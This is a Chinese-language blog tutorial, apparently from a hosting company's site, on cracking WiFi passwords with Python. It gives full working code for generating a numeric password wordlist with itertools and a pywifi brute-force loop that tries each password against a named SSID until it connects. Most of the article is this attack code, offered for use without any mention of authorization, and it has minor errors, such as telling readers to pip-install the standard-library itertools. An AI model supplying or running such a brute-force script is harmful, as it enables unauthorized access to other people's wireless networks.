您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關使用Python破解wifi密碼的方法,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。
首先要生成密碼本
對于這個密碼本就是我們常用的密碼,一般是有數字、字母和符號組成。而現在呢?我們就用Python生成一個簡單的密碼本,這里用到的思路主要是窮舉法。這里用到的庫是itertools,沒有的可以使用pip install itertools在DOS命令下安裝,這個密碼本生成很簡單,就是幾行代碼而已。接下來我們一起分析。同樣,我們先一步一步分析,后面會附上完整代碼。
這里使用一個迭代器,就是我們需要生成密碼所有的字符,可以是數字,符號和字母,我這里采用的是純數字,是為了方便和節約時間。
words="1234567890"
下面就是生成密碼的位數,但是這里要注意的是這個要考慮到電腦的配置,我生成七位的密碼花了十多分鐘,生成的文件大小約有85M,所以大家根據情況生成。
r=its.product(words,repeat=4)
因此生成的密碼一般是字符串,而我之前生成的是單個的字符,所以我采用join,使用空格鏈接。
dic.write("".join(i))
好了,記下來就是完整的代碼:
import itertools as its #迭代器 words="1234567890" #生成密碼本的位數,五位數,repeat=5 r=its.product(words,repeat=3) #保存在文件中,追加 dic=open("./password.txt","a") #i是元組 for i in r: #jion空格鏈接 dic.write("".join(i)) dic.write("".join("\n")) print(i) dic.close() print("密碼本已生成")
破解wifi密碼
這個代碼也是非常簡單,這里需要用Python中的pywifi這個庫,所以需要在DOS命令下安裝這個庫,同樣使用pip install pywifi,很簡單就安裝成功了,我用的是Python3,所以各位看的時候需要注意這一點。接下來我們一步一步分析主要代碼,后面同樣附上完整的代碼。對了,需要注意一點,就是電腦必須是要用無線網卡的。
首先我們需要判斷電腦是否已經連接wifi,創建一個無線對象,獲取無線網卡。
wifi=pywifi.PyWiFi() #獲取無線網卡 ifaces=wifi.interfaces()[0] print(ifaces)
使用這行代碼就可以獲取電腦無線網卡的名稱:
print(ifaces.name())
要判斷是否連接WiFi,我們需要導入一個常量庫:
from pywifi import const
創建WiFi連接文件,選擇要連接WiFi的名稱,然后檢查WiFi的開發狀態,查看wifi的加密算法,一般wifi加密算法為WPA2 PSK,檢查加密單元。代碼如下:
profile=pywifi.Profile() #要連接WiFi的名稱 profile.ssid="jiayi" #網卡的開放狀態 profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法為was profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密單元 profile.cipher=const.CIPHER_TYPE_CCMP
刪除所有連接過的wifi文件,重新設定新的連接文件,設置wifi連接時間,判斷wifi是否連接,若連接,返回4,未連接,返回0.
#刪除所有連接過的wifi文件 ifaces.remove_all_network_profiles() #設定新的連接文件 tep_profile=ifaces.add_network_profile(profile) ifaces.connect(tep_profile) #wifi連接時間 time.sleep(3) if ifaces.status()==const.IFACE_CONNECTED: return True else: return False
接下來我們就需要一個密碼本,然后采用只讀的方式,一行一行讀取,這里的密碼本可以用我分享的這個,也用去網上下載一個常用wifi密碼,只要是TXT文本就可以.
#密碼本路徑 path="C:/Users/ASUS/Desktop/password.txt" #打開文件 file=open(path,"r") while True: try: #一行一行讀取 pad=file.readline() 好了,接下來就是完整的代碼. # coding:utf-8 import pywifi from pywifi import const import time #測試連接,返回鏈接結果 def wifiConnect(pwd): #抓取網卡接口 wifi=pywifi.PyWiFi() #獲取第一個無線網卡 ifaces=wifi.interfaces()[0] #斷開所有連接 ifaces.disconnect() time.sleep(1) wifistatus=ifaces.status() if wifistatus ==const.IFACE_DISCONNECTED: #創建WiFi連接文件 profile=pywifi.Profile() #要連接WiFi的名稱 profile.ssid="jiayi" #網卡的開放狀態 profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法為wps profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密單元 profile.cipher=const.CIPHER_TYPE_CCMP #調用密碼 profile.key=pwd #刪除所有連接過的wifi文件 ifaces.remove_all_network_profiles() #設定新的連接文件 tep_profile=ifaces.add_network_profile(profile) ifaces.connect(tep_profile) #wifi連接時間 time.sleep(3) if ifaces.status()==const.IFACE_CONNECTED: return True else: return False else: print("已有wifi連接") #讀取密碼本 def readPassword(): print("開始破解:") #密碼本路徑 path="./password.txt" #打開文件 file=open(path,"r") while True: try: #一行一行讀取 pad=file.readline() bool=wifiConnect(pad) if bool: print("密碼已破解: ",pad) print("WiFi已自動連接!!!") break else: #跳出當前循環,進行下一次循環 print("密碼破解中....密碼校對: ",pad) except: continue readPassword()
關于使用Python破解wifi密碼的方法就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。